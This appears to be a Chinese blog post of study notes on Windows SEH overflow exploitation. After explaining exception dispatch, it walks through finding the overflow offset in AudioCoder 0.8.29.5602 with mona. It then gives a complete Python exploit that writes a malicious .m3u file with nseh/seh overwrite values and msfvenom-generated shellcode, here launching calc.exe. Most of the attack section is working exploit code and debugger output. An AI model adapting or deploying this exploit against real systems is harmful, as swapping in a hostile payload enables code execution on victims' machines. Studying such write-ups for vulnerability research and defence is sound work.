S.E.H
最近学习了《0day 安全 软件漏洞分析技术》中的堆溢出及 S.E.H 章节,记录笔记如下。
基础概念
S.E.H 即异常处理结构体(Structure Exception Handler),它是 Windows 异常处理机制所采用的重要数据结构。每个 S.E.H 包含两个 DWORD 指针:S.E.H 链表指针和异常处理函数句柄,共 8 个字节,如图:
S.E.H 按照级别可分为:线程的异常处理、进程的异常处理、系统默认的异常处理(U.E.F),其整体的处理流程为:
- CPU 执行时发生未捕获异常,内核结果进程的控制权,开始内核态的异常处理。
- 内核异常结束,将控制权还给 ring3.
- ring3 中第一个处理异常的函数是 ntdll.dll 中的 KiUserExceptionDispatcher() 函数。
- KiUserExceptionDispatcher() 首先检查程序是否处于调试状态。如果程序正在被调试,会将异常交给调试器进行处理。
- 在非调试状态下,KiUserExceptionDispatcher() 调用 RtlDispatchException() 函数对线程的 S.E.H 链表进行遍历,如果找到能够处理异常的回调函数,将再次遍历先前调用过的 S.E.H 句柄,即 unwind 操作,以保证异常处理机制自身的完整性。
- 如果栈中所有的 S.E.H 都失败了,且用户曾经使用过 SetUnhandledExceptionFilter() 函数设定进程处理异常,则这个异常处理将被调用。
- 如果用户自定义的进程异常处理失败,或者用户根本没有定义进程异常处理,那么系统默认的异常处理 UnhandledExceptionFilter() 将会被调用。U.E.F 会根据注册表中相关信息决定是默默地关闭程序,还是弹出错误对话框。
测试目标及测试环境
参考小马哥的文章,我也采用 AudioCoder 作为测试软件。
- 测试目标:AudioCoder 0.8.29.5602
- 测试环境:Windows XP SP3 + Immunity Debugger
计算溢出长度
通过 !mona pc 4096
生成测试字符串,编写如下脚本生成 poc 文件:
buf = "http://"
buf += "Aa0Aa1Aa2Aa3Aa4Aa5..."
poc_file = open("poc.m3u", "wb")
poc_file.write(buf)
poc_file.close()
将生成的 poc.m3u 加载到 AudioCoder 中,通过 !mona findmsp
观察到 nseh 已被覆盖:
...snip...
[+] Examining SEH chain
SEH record (nseh field) at 0x0012e6f4 overwritten with normal pattern : 0x7a41327a (offset 757), followed by 3331 bytes of cyclic data after the handler
...snip...
溢出长度为 757。
验证一下:
buf = "http://"
buf += "A" * 757
buf += "B" * 4 #nseh
buf += "C" * 4 #seh
poc_file = open("poc.m3u", "wb")
poc_file.write(buf)
poc_file.close()
重新加载 poc,debugger 中可以看到 nseh 和 seh 已被覆盖:
构造溢出字符串
利用跳转技术,通常将 S.E.H 溢出的 buf 构造为如下格式:
buf + jmp 06 + ppr + nops + shellcode
也就是说将 nseh 覆盖为 jmp 06
,seh 覆盖为 pop; pop; ret
。
!mona asm -s jmp 06 => \xeb\x06
!mona seh => 0x66012e63
生成 poc 文件:
buf = "http://"
buf += "A" * 757
buf += "\xeb\x06\x90\x90" #nseh
buf += "\x63\x2e\x01\x66" #seh
buf += "\x90" * 20
poc_file = open("poc.m3u", "wb")
poc_file.write(buf)
poc_file.close()
在 0x66012e63 处断点后,调试发现最终成功跳至 shellcode 处执行代码:
完整的利用代码
通过 msfvenom 生成 shellcode,注意去除坏字符:
./msfvenom -p windows/exec CMD=calc.exe -b "\x00\xff\x0a\x0d" -f python
最终利用代码如下:
#!/usr/bin/env python3
buf = b"http://" + b"\x90" * 757
nseh = b"\xeb\x06\x90\x90"
seh = b"\x63\x2e\x01\x66"
shellcode = (
b"\xb8\x7c\xf0\x94\x23\xda\xde\xd9\x74\x24\xf4\x5b\x2b"
b"\xc9\xb1\x31\x83\xeb\xfc\x31\x43\x0f\x03\x43\x73\x12"
b"\x61\xdf\x63\x50\x8a\x20\x73\x35\x02\xc5\x42\x75\x70"
b"\x8d\xf4\x45\xf2\xc3\xf8\x2e\x56\xf0\x8b\x43\x7f\xf7"
b"\x3c\xe9\x59\x36\xbd\x42\x99\x59\x3d\x99\xce\xb9\x7c"
b"\x52\x03\xbb\xb9\x8f\xee\xe9\x12\xdb\x5d\x1e\x17\x91"
b"\x5d\x95\x6b\x37\xe6\x4a\x3b\x36\xc7\xdc\x30\x61\xc7"
b"\xdf\x95\x19\x4e\xf8\xfa\x24\x18\x73\xc8\xd3\x9b\x55"
b"\x01\x1b\x37\x98\xae\xee\x49\xdc\x08\x11\x3c\x14\x6b"
b"\xac\x47\xe3\x16\x6a\xcd\xf0\xb0\xf9\x75\xdd\x41\x2d"
b"\xe3\x96\x4d\x9a\x67\xf0\x51\x1d\xab\x8a\x6d\x96\x4a"
b"\x5d\xe4\xec\x68\x79\xad\xb7\x11\xd8\x0b\x19\x2d\x3a"
b"\xf4\xc6\x8b\x30\x18\x12\xa6\x1a\x76\xe5\x34\x21\x34"
b"\xe5\x46\x2a\x68\x8e\x77\xa1\xe7\xc9\x87\x60\x4c\x25"
b"\xc2\x29\xe4\xae\x8b\xbb\xb5\xb2\x2b\x16\xf9\xca\xaf"
b"\x93\x81\x28\xaf\xd1\x84\x75\x77\x09\xf4\xe6\x12\x2d"
b"\xab\x07\x37\x4e\x2a\x94\xdb\xbf\xc9\x1c\x79\xc0"
)
payload = buf + nseh + seh + b"\x90" * 20 + shellcode
m3u_file = open("poc.m3u", "wb")
m3u_file.write(payload)
m3u_file.close()
注:shellcode 运行后,AudioCoder 退出。
其他异常处理利用思路
还可以通过攻击 V.E.H、攻击 TEB、攻击 U.E.F 等方式利用异常处理,具体可以参考 David Litchfield 在 Black Hat 上的演讲,PPT 地址:http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt
Reference
- 《0day 安全 软件漏洞分析技术》
- exploit with SEH - DM_’s blog